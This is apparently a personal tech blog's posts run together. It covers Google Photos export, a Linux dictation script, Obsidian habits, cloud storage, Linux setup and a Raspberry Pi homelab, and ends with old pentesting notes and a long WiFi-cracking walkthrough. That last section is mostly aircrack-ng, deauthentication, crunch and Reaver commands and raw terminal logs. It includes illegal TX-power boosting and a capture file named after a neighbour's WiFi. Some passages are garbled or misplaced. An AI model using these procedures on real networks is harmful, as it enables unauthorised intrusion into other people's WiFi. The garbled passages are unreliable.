In this guide, I’ll walk you through a streamlined process to export your library, fix the broken metadata, and organize your collection for the long term.

1. The Great Escape: Google Takeout

The first step is getting your data out. Google Takeout is the official tool for this.

1. Go to Google Takeout.
2. Select only Google Photos.
3. Choose your export frequency and file type (ZIP is usually best).
4. Wait for the download links.

Pro-Tip: If you also use Google Keep and want to preserve those notes, check out the Google Keep Exporter.

The Catch: Google provides your photos in one folder and their metadata (timestamps, location, descriptions) in separate .json files. If you simply move these photos to a new drive, they will all look like they were “created” on the day you downloaded them.

2. Restoring the Soul of Your Photos (Metadata)

To fix this, we need to merge the JSON data back into the image files. There are several ways to do this, ranging from specialized tools to custom scripts.

Option A: Specialized Tools

If you prefer a GUI or a robust CLI tool, these are excellent choices:

• Google Photos Takeout Helper: A popular tool that organizes your photos into a clear folder structure.
• Google Photos Export Organizer: Another great utility specifically designed to handle the JSON sidecar files.
• ExifTool: The industry standard for metadata manipulation. It’s powerful but has a steeper learning curve.

These tools typically help you:

• Fix all file created and modified dates as they are organized.
• Optionally copy all available metadata provided by Google Takeout in .json files back into the image/video files.
• Remind you to clean up after processing.

Option B: The DIY Python Approach

For those who want a lightweight, customizable solution, I’ve used a simple Python script to update the file modification times based on the JSON photoTakenTime.

import os
import json
from pathlib import Path

def update_file_modified_time(json_dir):
    for json_file in Path(json_dir).glob("*.json"):
        with open(json_file, "r", encoding="utf-8") as f:
            try:
                data = json.load(f)
                image_file = data.get("title")
                timestamp = data.get("photoTakenTime", {}).get("timestamp")

                if not image_file or not timestamp:
                    continue

                image_path = Path(json_dir) / image_file
                if image_path.exists():
                    modified_time = int(timestamp)
                    os.utime(image_path, (modified_time, modified_time))
                    print(f"Updated {image_file}")

            except Exception as e:
                print(f"Error processing {json_file}: {e}")

if __name__ == "__main__":
    update_file_modified_time("./photos")

3. Organizing for the Future

Once your metadata is restored, you need a strategy for organization.

Immediate Next Steps

• Fix Sorting with Metadata: Use a script or tool to apply JSON data from the separate sidecar files directly to the image metadata. This ensures your collection is sorted correctly by the actual date taken, not the download date.
• Remove Duplicates: Google Takeout often includes “edited” versions of photos alongside the originals. Note that Google Photos doesn’t remove the old edited photo; it keeps it but renames the new edited file with an additional number like _1.jpg at the end (and the number increments with every follow-up change). These old versions need to be handled if you want to keep only the latest edit. Run a deduplication tool (like fdupes or rdfind on Linux) to help.
• Handle Extra Metadata: What about captions, notes, or comments? Consider adding these to a sidecar markdown note with a reference to the image.

  Preservation Rules

  When moving or editing your old photos, remember these golden rules:

  1. Bulk Changes: Use tools that preserve original timestamps unless you are explicitly trying to correct them.
  2. Location Metadata: If location data is missing, you can add it in bulk using tools like ExifTool before moving them to your final storage.
  3. Avoid “Today’s Date”: Moving or editing old photos (older than today) should always keep the creation or modified date. Ensure your workflow doesn’t push the date to today.

4. Handling it on the Go (Mobile Apps)

If you prefer to manage some of these tasks directly on your phone, here are some recommended Android apps:

• Photo EXIF Editor: Great for viewing and modifying EXIF data.
• Image & Video Date Fixer: Specifically designed to fix file dates based on metadata.
• Cisdem Duplicate Finder: Helpful for identifying and removing duplicate photos on your device.

Conclusion

Transitioning away from Google Photos is a bit of work upfront, but the peace of mind knowing your memories are stored exactly how you want them is worth it. By restoring your metadata and establishing a solid organization system, you ensure that your digital library remains searchable and meaningful for years to come.

Do you have a preferred method for managing your local photo library? Let me know!

🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.

VoxInput

🎙️ Offline voice-to-text dictation for Linux . Privacy-first , works in any app. Powered by Vosk /Whisper .

Imagine you’re writing a document in both English and Arabic. You need to switch between dictation modes every time you change languages. It’s tedious. On Windows, you just press Win+H and start talking. But on Linux, you’re stuck manually selecting the right speech model.

That’s the problem I set out to solve.

The Solution

I created nerd-dictation-auto-switch-languages, a wrapper script that automatically detects your current keyboard layout and uses the appropriate speech-to-text model. No more manual switching. Just press one shortcut and start talking.

How It Works

1. Press Super+H to start dictation
2. The script detects your keyboard layout (English, Arabic, German, etc.)
3. Launches the correct VOSK model automatically
4. Speak — your words appear on screen
5. Press Super+Shift+H to stop

The Technical Details

Key Components

| Component | Purpose | |———–|———| | nerd-dictation | Base speech-to-text tool using VOSK | | VOSK Models | Neural network models for each language | | xkblayout-state | Detects current keyboard layout |

The Magic: Layout Detection

The key innovation is detecting the keyboard layout in real-time:

# Get current keyboard layout
CURRENT_LAYOUT=$(xkblayout-state print "%s")

# Result: "us", "ara", "de", etc.

Then map it to the appropriate model:

case "$CURRENT_LAYOUT" in
    us)
        MODEL_DIR="$HOME/.config/nerd-dictation/model"
        LANG_NAME="English"
        ;;
    ara)
        MODEL_DIR="$HOME/.config/nerd-dictation/model-ar"
        LANG_NAME="Arabic"
        ;;
esac

The Scripts

dictate-start — Main script that:

• Detects keyboard layout
• Selects appropriate model
• Starts dictation with 30-second timeout
• Shows desktop notification

dictate-stop — Cleanup script that:

• Reads which model was used
• Stops the dictation process
• Types the transcribed text
• Shows completion notification

Installation

Prerequisites

# Install system dependencies
sudo apt install python3-pip xdotool zenity libnotify-bin wget unzip git

# Install xkblayout-state
git clone https://github.com/nonpop/xkblayout-state.git
cd xkblayout-state && make && sudo make install

Download Models

# English (required)
mkdir -p ~/.config/nerd-dictation
wget https://alphacephei.com/vosk/models/vosk-model-small-en-us-0.15.zip
unzip vosk-model-small-en-us-0.15.zip
mv vosk-model-small-en-us-0.15 ~/.config/nerd-dictation/model

# Arabic (optional)
wget https://alphacephei.com/vosk/models/vosk-model-ar-mgb2-0.4.zip
unzip vosk-model-ar-mgb2-0.4.zip
mv vosk-model-ar-mgb2-0.4 ~/.config/nerd-dictation/model-ar

Set Up Scripts

# Clone scripts
cp dictate-start ~/.nerd-dictation/
cp dictate-stop ~/.nerd-dictation/
chmod +x ~/.nerd-dictation/dictate-*

Configure Shortcuts

In your desktop settings:

| Shortcut | Command | |———-|———| | Super+H | ~/.<a href="/skills/?tag=nerd-dictation" class="cv-skill-tag" data-skill="nerd-dictation">nerd-dictation</a> /dictate-start | | Super+Shift+H | ~/.<a href="/skills/?tag=nerd-dictation" class="cv-skill-tag" data-skill="nerd-dictation">nerd-dictation</a> /dictate-stop |

Results

Before

1. Switch keyboard to Arabic
2. Find and open Arabic dictation app
3. Start dictation
4. Speak
5. Switch back to English
6. Find and open English dictation app
7. Repeat...

After

1. Press Super+H
2. Speak
3. Press Super+Shift+H
4. Done!

Supported Languages

Adding new languages is straightforward — just download the VOSK model and add a case to the script.

Challenges & Solutions

Challenge 1: Reliable Layout Detection

Problem: gsettings didn’t update in real-time when switching layouts.

Solution: Used xkblayout-state which reads directly from X11.

Challenge 2: Model Organization

Problem: Multiple language models needed management.

Solution: Standardized directory naming (model, model-ar, model-de).

Challenge 3: Error Handling

Problem: Users might not understand why dictation fails.

Solution: Desktop notifications + zenity popups with clear messages.

Future Improvements

• Add support for more languages
• Implement auto-language switching mid-dictation
• Create GUI for configuration
• Add Whisper as alternative backend

Conclusion

Linux speech recognition has come a long way. With nerd-dictation -auto-switch-languages and VOSK , you can have seamless, offline, private voice typing that automatically adapts to your language. No cloud services, no subscriptions, just open-source speech-to-text that just works.

The project is fully open-source and available on GitHub. Contributions welcome!

Resources

• nerd-dictation-auto-switch-languages Repository
• nerd-dictation
• VOSK Models
• xkblayout-state

Have questions or suggestions? Open an issue on GitHub!

🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.

I recently read Beatrice Manuel’s article, “Why I stopped chasing the perfect system and started keeping imperfect notes,” and one line specifically resonated with me the most: “The pursuit of perfection is procrastination wearing a very convincing disguise.” At this point in my life, I couldn’t agree more. Your Perfect Notes Are Making You Fail (The Input Hoarding Effect) by Tiny Aha Lens

I thought it might be helpful to share a few of my previous bad habits here. I hope to help others avoid the same traps, and I’d love to hear your advice on how I can simplify even further.

After 10 years on Evernote , I switched to Obsidian in 2023. After all these years, I’ve realized the following:

• I was spending more time “maintaining the vault” than actually doing the work, usually as a way to procrastinate on more important tasks.
• I was trying to use Obsidian as an “all-in-one” app for everything in my life.
• I admit that much of my vault feels like a “local Wikipedia”. Even though, I kept using AI to look things up instead of checking my own notes.
• I used to set aside time to organize and maintain the vault, but it always felt boring and I could never stay consistent with it.

I spent years trying to optimize my workflow by brainstorming ideas and researching ways to improve in my free time. I eventually realized that dedicating so much time to “organizing” was actually a sign that something was wrong. Comparing my slow, heavy workflow to people who used simple tools (or no note-taking app at all) made me realize that the time I spent wasn’t paying dividends.

The “Kill List”: What I scrapped to reclaim my time

• Desktop Folders > Vaults: I moved my active Projects (from PARA ) out of Obsidian and directly into desktop folders. They are now much easier to access and act upon.
• Action over Collecting: Instead of hoarding links, I focus on sharing. I post what I find to get feedback and build my personal brand .
• No more “Local Databases”: I stopped using Obsidian to build local versions of IMDb and Goodreads . It was a massive time-sink to maintain clipped notes. Using the original platforms is much more convenient and offers better features. i can tell that Obsidian is really great for collecting and making links between nodes and this could be useful in if someone doing it on related to that problem too is a profession but for me it is not just for entertainment and for fun and food allergies one it’s not good. does it make difference if i wanna tell a i too the about what i like and what i wanna watch later like OpenClaw? when it give me better recommendation i don’t know. but again exporter or that easily from at the source and have it as CSV format which is accepted for the ai.
• Retiring the Web Clipper: I no longer save job descriptions or site snapshots. I’m using AI anyway to assist in making tailored documents on the fly, and I can always find the original info by using the search feature. For recipes, I’d rather just add them manually than spend time customizing a template for a single website.
• Single Source of Truth: I stopped using the Google Contacts sync plugin. Maintaining two sources was a mistake. I even tried taking “relationship notes” to stay invested in people, but it felt wrong. If I can’t remember it, set it as a task, or put it in the Google Contacts “notes” section, I’d rather let it go.
• The Meal-Planning System: I stopped using my shopping and meal system (which was a complex alternative to Samsung Food using four community plugins and locally stored all possible items in a folder structure as a label). For me, rigid planning failed because I couldn’t control my eating habits; for example, I’d eat all my snacks in the first few days instead of over the planned period. Now, I just buy healthy food and cook spontaneously. It’s also a great excuse to get out and walk to the store more often.
• Low-Friction Journaling: I stopped habit tracking and text journaling. If I can’t act on the data, I don’t track it. I’ve switched to audio recordings; they are faster, more expressive, and require zero formatting. I rarely listen back, but knowing the idea is captured makes me feel good.
• Externalizing Backups: I stopped using Obsidian to store backup data like PDFs, e-books, RSS feeds, and configuration files. I’ve moved these to Google Drive for direct syncing. For my code snippets and scripts, I now use GitHub private repo with script to automatically send files to specific folders and more… This keeps my vault lightweight and focused only on active thought.

I spent a long time resisting systems like PARA because I wanted to build something uniquely mine. I even had the ego to think I’d write a book about my “perfect” system one day!

Cutting these habits out was difficult, but learning to cut my losses and move on has been liberating. I finally feel like I’m moving toward true productivity. However, the transition is far from complete; there are still a few areas where I’m sticking to my old ways for now:

Work in Progress: Moving Toward Action

• The Document Archive: I still use the Archive (from PARA ), but it contains my personal documents only.
• Re-purposing “Areas”: I am transforming the knowledge previously hidden in my Areas into active projects. My goal is to eventually delete the static notes and replace them with:
  • **Anki flashcards ** for long-term retention of what I’ve learned.
  • **Blog posts ** to share my findings and build my personal brand .
  • **Apps ** or **websites ** that turn my research into potential income.

Not everything was a waste of time. These two habits have proven their value by reducing my mental load:

Systems That Actually Work (My “Keep” List)

• Travel Notes: I maintain a “Countries” folder generated via a **Python script and API **. Instead of saving/downloading social media content (Reels, Shorts, etc.), I log the recommendations directly into these country notes. Having a ‘ready-to-use’ list of places saves me from frantically searching for saved clips or planning from scratch when I actually travel.
• Social Activity Notes: As an event planner, I keep a curated folder of interesting activities I find online. When I’m planning the next outing with friends, this folder eliminates decision fatigue. I no longer have to “think” of what to do.
• Travel Checklist: I keep a few high-value checklists in my Areas folder that save me immense time and stress. For example, my travel/sleepover checklist note ensures I never forget an essential item. I use the “Meta Bind” and “Templater” plugins to instantly reset the check-boxes before going through it. By logging feedback after every journey, I’ve optimized my packing so well that I now travel with only a backpack. It is incredibly rewarding to be precise, especially compared to my siblings who bring massive suitcases because they aren’t sure what they need and end up bringing everything “just in case.”

The kanban plugin is so powerful and open for customization. The downside is it only sync based on my sync method. Async.I tried Trello and Clickup as alternative to Obsidna but they had limiration and overkill for tracking habit. I used kanban vertically for track-processes. Other GitHib project I am working on, i use the default settings.

This isn’t a one-time cleanup; it’s an ongoing process. I plan to provide updates as my workflow evolves. My main takeaways are:

The Outcome: A New Philosophy of Information

• Detachment and Deletion: I’ve adopted the mentality that everything is destined to disappear. I no longer think twice before deleting something. If a note isn’t actionable, it’s destined for the trash. Keeping a minimalist vault is my new default.
• Avoiding the “Information Void”: I’ve become hyper-aware of what I store. A note-taking app should be an engine for action, not a dumping ground for the void. Embracing this has been powerful, as I am no longer “attached” to any specific software.
• Subtractive Growth: A healthy vault should have fewer notes over time, not more. My goal is to continuously prune and reduce, moving toward a purely minimalist, action-oriented workflow.

Archive /onHold / done project must be added to GitHub. Why to keep them locally?

🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.

In an era where every smartphone prompts us to back up our photos to the cloud, we need to stop and ask ourselves: are we preserving memories, or just falling into carefully designed company traps that pressure us to pay for more storage?

The Problem with Modern Photo Storage

When you want to share files with others, email attachments with large sizes become impractical. The major cloud providers know this all too well, which is why they offer free storage tiers—typically around 15 GB—that seem generous at first but quickly fill up as you accumulate photos, videos, and documents.

Alternatives to Consider

• Free Storage Tiers: Many services offer free storage. You can still use the free 15 GB to share files with people.
• Password Managers with Storage: Some services like Bitwarden offer 1 GB as part of their plans.
• **Torrent-Based P2P Transfer **: Using torrents as peer-to-peer transfer is how it should be—and it’s somehow private. This approach allows direct file sharing without relying on cloud infrastructure.

In worst-case situations, I’m willing to pay for one month of a service when urgently needed, rather than committing to ongoing subscriptions.

Cloud Storage

Google Drive remains the cheapest cloud storage option. I’ll continue using it until I get a clear view and plan to switch to a better alternative with good privacy.

Here’s a comprehensive comparison of various cloud storage services and their pricing:

⚠️ Important Note: Dropbox has issues with folders and file names that contain emojis—they are not supported in Syncing Notebook. However, the issue is related to UTF encoding. The emojis that aren’t working (along with many other, newer emojis) use 4 bytes, which our filesystem doesn’t support. The emojis that do work on Dropbox.com are those that use less than 4 bytes.

Conclusion

The choice of cloud storage ultimately depends on your specific needs—whether you prioritize cost, privacy, cross-platform integration, or end-to-end encryption. The key is to be aware of the traps set by companies to trap you into their ecosystems and pressure you into upgrading for more storage.

Think carefully about what you’re actually trying to achieve: preserve memories, or just hand over your money to tech companies?

🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.

Fresh Linux install? Welcome to the real work. Here’s what I do to turn a barebones system into my daily driver.

Software Manager Essentials

First round of apps I always install:

Productivity & Files

• **Bitwarden ** – Password manager I can’t live without
• **FreeFileSync ** – File synchronization between drives and network locations
• **Obsidian ** – Note-taking and knowledge management
• **OnlyOffice ** – LibreOffice alternative, better compatibility with Word/Excel files

Media & Creativity

• **GIMP ** – Image editing (Photoshop alternative)
• **Pi-hole ** – Network-wide ad blocking at the DNS level
• Cheese – Webcam app for video calls
• **DDNS ** – Accessible from anywhere using a memorable domain

Utilities

• **Diodon ** – Clipboard manager (Win+V to paste history)
• Emote – Emoji picker (Win+. to open)
• **qbittorrent ** – Download manager

Development

• **Python3 **-full
• Git (usually pre-installed)

Browser Setup

My browser stack:

• **Chrome ** – Primary browser for Google ecosystem
• **Firefox ** – Privacy-focused alternative
• **Mullvad VPN ** – For privacy on public networks

Firefox Tweaks

I add custom search engines and set up these extensions:

• **uBlock Origin ** – Ad blocker

• OneTab – Save tab clusters for later

Keyboard & Input

Custom Shortcuts

Keyboard Layout

Add German and Arabic keyboards for multilingual typing.

System Applets

• Automatic Dark/Light Themes – Follows sunset automatically
• System Monitor – CPU/RAM in the panel
• Calendar – Synced with Google Calendar

Making It Feel Like Home

Show Hidden Files & Extensions

Turn on in file manager view settings. Makes everything less mysterious.

Screensaver & Lock Screen

Disable the default clock and background images. Keep it clean.

Print Screen

Configure to capture selected area (not full screen) and save directly to Desktop:

gsettings set org.gnome.gnome-screenshot auto-save-directory "/home/$USER/Desktop"

Connectivity

Remote Desktop

Remmina – One client for RDP , VNC , SSH , and more.

Smart TV Streaming

**Gnome Network Displays ** – Cast screen to TV via WiFi.

VirtualBox

For running Windows apps when Linux alternatives fail. Install Guest Additions for proper integration.

File Sync: FreeFileSync

My backup workflow:

1. Set up paired folder comparisons
2. Configure Meld as the diff tool:

   meld "%local_path%" "%local_path2%"
   

3. Schedule bidirectional syncs for important folders

Linux Drivers

After a fresh install, back up your drivers:

# Find current kernel version
uname -r

# Backup modules
sudo rsync -av /lib/modules/$(uname -r)/ ~/driver_backup/

# Backup firmware
sudo rsync -av /etc/modprobe.d/ ~/driver_backup/
sudo rsync -av /lib/firmware/ ~/driver_backup/

Mounting Drives on Boot

External drives need to mount automatically. Here’s the method I use:

1. Find the UUID

sudo blkid

2. Add to /etc/fstab

UUID=YOUR-UUID /mnt/drive exfat defaults,uid=1000,gid=1000,umask=000 0 2

3. Test without rebooting

sudo mount -a

exFAT tip: If you’re mounting for Ollama or other services, use the correct UID/GID (find with id username).

Voice Dictation

Want Voice-to-Text? Try these options:

• Speech Note (Flatpak) – Quick and easy
• Whisper-Obsidian Plugin – For voice notes inside Obsidian
• nerd-dictation – Open-source alternative to Dragon

Flatpak App Management

For sandboxed apps, install Flatseal to manage permissions without getting messy.

Common Issues & Fixes

Anki won’t open (Qt/X11 error)

Install missing XCB libraries:

sudo apt-get install libxcb-xinerama0 libxcb-xinerama0-dev libxcb-cursor0

Fingerprint login not working

Usually a driver issue—check Settings > Privacy > Login.

What’s Missing?

Still on my list:

• Full disk encryption setup
• Better backup strategy (offsite)
• Custom dotfiles management

What’s your post-install ritual? Drop a comment below with your must-have apps.

🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.

I’ve been running a Raspberry Pi homelab for years now. What started as a way to host my personal website turned into a full-fledged home server that handles media, downloads, ad-blocking, and more.

This is the story of what I’ve built—and what’s still on the todo list.

The Beginning

It started simple: I wanted a place to host my website. A cheap Raspberry Pi connected to my home internet seemed like the perfect solution. No monthly hosting fees, full control, and a great learning experience.

That was years ago. Here’s what the journey looked like.

What I’ve Built (So Far)

Here’s my progress on the Pi—a mix of completed projects and things I’m still working on:

Completed ✅

• VNC Remote Control – Control the Pi with a graphical desktop from anywhere
• **SSH & FTP ** – Command-line access and file transfers over the network
• **Website Hosting ** – Running Apache to serve my personal site
• **Plex Media Server ** – Movies and TV shows served to my TV
• **Pi-hole ** – Network-wide ad blocking at the DNS level
• **DDNS ** – Accessible from anywhere using a memorable domain
• Chromecast Alternative – Stream content to my TV using RaspiCast
• **Kali Linux ** – Bootable penetration testing OS on micro-SD

Still on the Todo List

• Buy a domain name and properly host the site
• Steam Link – Stream games from my laptop to the TV via the Pi

• [ ]- **Docker ** – Learn containerization

• [ ]- **Personal VPN ** – Secure browsing from anywhere
• Bluetooth Audio – Wireless headphones connected to the Pi
• Free Proxy – Change my location virtually
• Magic Mirror – Smart display with weather, calendar, news
• Retro Gaming – Old Atari/NES emulation
• Home Security Camera – Motion detection and recording
• Mail Server – Self-hosted email (ambitious, I know)
• Relay Control – Smart home automation via GPIO pins

The Stack

Here’s what actually runs on my Pi:

| Service | Purpose | Port | |———|———|——| | Apache | Web server | 80, 443 | | Plex Media Server | Media streaming | 32400 | | Pi-hole | DNS-based ad blocker | 80 (admin) | | Deluge | Torrent client | 8112 | | Jackett | Torrent indexer integration | 9117 | | Radarr | Movie automation | 7878 | | Sonarr | TV show automation | 8989 | | Lidarr | Music automation | 8686 |

Key Configurations

Dynamic DNS

Since my home IP changes, I use freemyip.com to keep things accessible:

curl "https://freemyip.com/update?token=YOUR_TOKEN&domain=yourname.freemyip.com"

Set up as a cron job to update every 20 minutes.

Port Forwarding

I forward specific ports on my router to access services externally:

• 80/443 – Web server
• 8112 – Deluge (torrent client)
• 32400 – Plex
• 7878 – Radarr

Storage

An external HDD mounts automatically at boot via /etc/fstab. This holds all my media and downloads.

Pi-hole: The Game Changer

The single most useful thing I installed was Pi-hole . It blocks ads network-wide—every device on my Wi-Fi benefits. No browser extensions needed, works on phones and smart TVs.

Access the admin panel at http://pi.hole/admin or via your Pi’s IP address.

Lessons Learned

1. Static IP is crucial – Set it in your router or via dhcpcd.conf so services stay reachable.

2. Cron jobs are lifesavers – Auto-updates, DDNS refresh, backup scripts—everything runs on autopilot now.

3. External storage pays off – SD cards have limited write cycles. Keep media and downloads on an external drive.

4. Backup everything – Docker containers, config files, cron jobs. When something breaks (and it will), you’ll want a copy.

5. Security matters – Don’t expose more than necessary. Use strong passwords, keep software updated, consider a VPN instead of opening ports.

What’s Next

The todo list is long, but that’s the point. Docker is the next big learning hurdle. After that, a proper VPN so I can access everything securely from outside the home.

The beauty of a homelab is there’s always something new to try.

What’s on your homelab todo list? Drop a comment below—I’d love to hear what projects you’re working on.

🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.

Note: These are my early notes from 2016 when I was learning penetration testing. Some tools have evolved, but the fundamentals remain the same.

Diving into cybersecurity was one of the most challenging but rewarding things I’ve done. Here’s what I learned setting up my Kali Linux environment and the essential tools I used.

Security Tools I Actually Used

Here’s where the real work begins. These are tools I actually spent time learning and using.

Web Application Testing

• Burp Suite

• The industry standard intercepting proxy. Intercepts HTTP traffic between your browser and the target, lets you modify requests, repeat them, and find vulnerabilities. Essential for any web app testing.

• OWASP Zap

• Free alternative to Burp. Great for automated scanning and finding common vulnerabilities like XSS and SQL injection. Good starting point for beginners.

• sqlmap

• Automated SQL injection tool. Give it a URL with a vulnerable parameter and it does the rest - enumerates databases, extracts data, even gains shell access in some cases.

• Dirb/Dirbuster
• Directory brute-forcing. Finds hidden directories and files on web servers by trying thousands of common paths. First step in any web assessment.

Post-Exploitation

• Beef Framework
• Browser exploitation. Hooks victim browsers and executes JavaScript, allowing you to steal cookies, capture keystrokes, and pivot to other systems.

1. Nmap/Zenmap
   • Network scanning. Know your targets before attacking.
2. Metasploit
   • The exploitation framework. Industry standard.
3. Wireshark
   • Packet analysis. Understand what’s happening on the wire.
4. Burp Suite
   • Web testing. Every web pentester needs this.
5. John the Ripper
   • Password cracking. Essential for privilege escalation.
6. Hydra
   • Login brute-forcing. Test weak credentials.

What I Learned

• Always have a lab network isolated from production
• Document everything - you’ll forget the details later
• Python and Bash are your best friends for automation
• Don’t just run tools - understand how they work
• Networking fundamentals are crucial

🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.

Learn about aircrack-ng

learn

Common Attack Techniques

Network Attacks (Educational)

• **airodump-ng ** - WiFi packet sniffer. Captures packets in monitor mode to discover networks and clients. First step in any wireless assessment.

• **aireplay-ng ** - Packet injection tool. Injects packets into wireless networks to trigger responses, useful for cracking WEP or deauth attacks.

• **ARP spoofing ** with arpspoof

• Man-in-the-middle basics. Tricks devices into sending traffic through your machine by spoofing ARP tables . Foundation for many network attacks.

• **bettercap ** - Modern Swiss army knife for network attacks. Does ARP spoofing , SSL stripping , packet sniffing , and more. More powerful than individual tools.

WiFi Security

• Monitor mode - Putting your wireless card into monitor mode lets you capture packets without connecting to a network
• Packet injection - Sending crafted packets to trigger responses or crack encryption
• WEP/WPA cracking - Capturing handshakes and brute-forcing passwords

Initial Setup & Monitor Mode

Use these commands to prepare your interface and power up the Wi-Fi card to capture handshakes.

# Get root access
sudo su
# Set region and increase TX power (Important for handshake)
iw reg set GY
# default txpower is 30
# BEFORE WE START WE NEED TO POWER UP WIFI CARD IN MY LAPTOP TO GET HANDSHAKE... (IMPORTANT)
iwconfig wlan0 txpower 70
# Need <aireplay-ng> and <airmon-ng> to search and Fix the wifi signal. 
# [interface] is mon0 or wlan0 or wlan0mon
# this command is extra $ aireplay-ng --test [interface]
aireplay-ng --test [interface]
# Stop interfering processes
# in case of other appears like number and name. type: $ kill [number before the name]
airmon-ng check kill
# Start monitor mode
airmon-ng start wlan0

Scanning & Capturing Handshake

Identify your target and deauthenticate users to capture the WPA handshake. WE CAN’T DO aircrack-ng until we get handshake. for hacking Wi-Fi we want to reach handshake to get password before using last command

Need to use and and

# Scan for networks. wlan0mon is the [interface] 
airodump-ng [interface] 
# Target a specific BSSID and Channel to save data
# If the ESSID name contain space or other symbol, put it in coutation double qoutations (e.g. Free Palestine will be "Free Palestine".)
# If the ESSID is a hidden name, then use "<length:1>" for ESSID.
airodump-ng -c <channel number> -w <ESSID> --bssid <BSSID> [interface] 
# Force deauthentication (Open in new terminal)
airodump-ng [interface] -c <channel number> --bssid <BSSID> -w <[choose a folder path] + "/wpa2psk">
# it creates .cap file needed next. This will save the data and you can use it anytime to get the password.
# if you didn't create folder to save on, no problem it just work one time <Live>. if you want to do it again save it.
# Note after drag the file and add /wpa2psk remove the quotation mark symbol "" at the start and at the end.
# case 1
airodump-ng -w <The ESSID> --bssid <The BSSID> [interface] -c-<channel no.>
# case 2
airodump-ng -w test --bssid <The BSSID> --essid <The ESSID> --channel <channel no.> [interface]
# case 3
airodump-ng -c [channel] –bssid [bssid] -w /root/Desktop/ [interface]

# Open new Terminal, Don't try many channel at the same time leading error.
# Don't change now the BSSID or ESSID.
# If any error appears just re-write the same code.
# Don't stop channel and station Terminal.
# as much as the save file get data it will take less time to get password.
# if you want to know -0 or --deauth want to do check: $ aireplay-ng --help
# --deauth count: deauthenticate 1 or all stations (-0)
# aireplay-ng command uses it in case HANDSHAKE not appears yet.
aireplay-ng --deauth <number you want to test> -a <BSSID> -c <Station_MAC> [interface]
# Alternative
aireplay-ng -0 [number you want to try] -a [bssid main] -c [STATION bssid] [interface]
# Case 1
aireplay-ng --deauth <number you want to test> -a <The BSSID> [interface]
# Case 2
aireplay-ng -0 <number of #/s or rate IDK> -a <The BSSID> -e <The ESSID> -c <The STATION> [interface]
# Case 3
aireplay-ng <channel read down example: -1 > < delay {>=0}:0> -a <BSSID> [interface]
# Case 4
aireplay-ng -h <The STATION> <channel read down example: -1> < delay {>=0}:0> -a <The BSSID> -e <The ESSID> [interface]
# Case 5
aireplay-ng –0 2 –a [bssid] –c [STATION bssid] [interface]

Determine current channel for <mon0/wlan0/wlan0mon>. force the operation with –ignore-negative-one or apply a kernel patch. Open new Terminal, Don’t stop the Station Windows until you have many beacon. stop the terminal as soon as you get handshake, then go to next command. handshake appears on the top at right side. -a : force attack mode (1/WEP, 2/WPA-PSK) About Creating a dictionary > check down for more info.

Cracking the Password

Once you see “WPA handshake” in the top right of your terminal, use a dictionary to crack the .cap file.

aircrack-ng -a<1/2> -b [bssid main] –w [the dictionary as .txt] [TEST1 the folder we created inside > dragging file as .cap without ""]
# Case 1
aircrack-ng <drag the "wpa2psk-01.cap" this inside {Created a folder}> -w <drag Dictionary as test_test.text>
# Case 2
aircrack-ng -w <custom_WPA>, <drag Dictionary as test_test.text> test -01.cap
# Case 3
aircrack-ng ADSL7943-01.cp
# Case 4
aircrack-ng -w <Dictionary> -b <The BSSID> crack-wpa-01.ca
# Case 5
aircrack-ng -w root/Documents/wordlists/goodluck.txt Neighborswifi_B8-87-1F-.cap
# Case 6
aircrack-ng -a2 -b [bssid] –w /root/wpa.txt /root/Desktop/*.cap

# Use aircrack-ng with a wordlist
aircrack-ng -a 2 -b <BSSID> -w <wordlist.txt> <capture_file.cap>

# Restart network manager after finished
service network-manager restart

Crunch+aircrack

# Example using crunch for real-time generation
crunch 8 8 0123456789 | aircrack-ng -a 2 -b <BSSID> -w - <capture_file.cap>

https://forums.kali.org/showthread.php?18261-Cracking-WPA-key-with-crunch-aircrack-%28almost-fullproof-but-how-speed-things-up%29

The command for aircrack-ng goes as follows: [No need to internet]

with crunch: $crunch x X “put characters you want here” | aircrack-ng “drag .cap file here” -w - -e “essid goes here”

with john the ripper: $john -stdout -incremental:all | aircrack-ng “drag .cap file here” -w - -e “essid goes here”

with pyrit: $crunch x X “put characters you want here” | pyrit -r capture-03.cap -b xx:xx:xx:xx:xx:xx -i - attack_passthrough

The following command can be used to start Aircrack-ng with input from Crunch:

How Long Will It Take?

This process can be relatively slow and tedious. Depending upon the length of your password list, you could be waiting a few minutes to a few days. On my dual core 2.8 gig Intel processor, it’s capable of testing a little over 500 passwords per second. That works out to about 1.8 million passwords per hour. Your results will vary.

When the password is found, it’ll appear on your screen. Remember, the password file is critical. Try the default password file first and if it’s not successful, advance to a larger, more complete password file such as one of these.

Others: $crunch 8 8 0123456789 | aircrack-ng -a 2 ‘HOME-TC-FILE-CAP’ -e ‘ESSID’ -b ‘HANDSHAKE’ -w -

http://xiaopan.co/forums/downloads/ $crunch 0 25 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | aircrack-ng –bssid aa:aa:aa:aa:aa:aa -w- handshakefile.cap

WPS Method (Alternative)

For routers with WPS enabled, use Reaver or PixieWPS.

# Find WPS enabled networks
wash -i wlan0mon -C
# Start Reaver attack
reaver -i wlan0mon -c <channel> -b <BSSID> -vv
# Use PixieWPS for faster cracking
pixiewps -e <pke> -r <pkr> -s <hash1> -z <hash2> -a <authkey> -n <enonce> -m <rnonce> -b <bssid> -v 3

# aircrack-ng -a2 -b C4:6E:1F:7A:A3:1A -w /root/wpa.txt
/root/Desktop/hack_wifi/wpa2psk-01.cap
fopen(dictionary) failed: No such file or directory
fopen(dictionary) failed: No such file or directory
Please specify a dictionary (option -w).
Quitting aircrack-ng...
#crunch 8 8 0123456789 -l | sudo aircrack-ng --bssid C4:6E:1F:7A:A3:1A -w-
/root/Desktop/hack_wifi/wpa2psk-01.cap
Please specify a list of characters you want to treat as literal @?%^
Opening /root/Desktop/hack_wifi/wpa2psk-01.cap
No valid WPA handshakes found.
Quitting aircrack-ng...
# aircrack-ng -a2 -b C4:6E:1F:7A:A3:1A -w /root/Desktop/BIG-WPA-LIST-2
/root/Desktop/hack_wifi/wpa2psk-01.cap
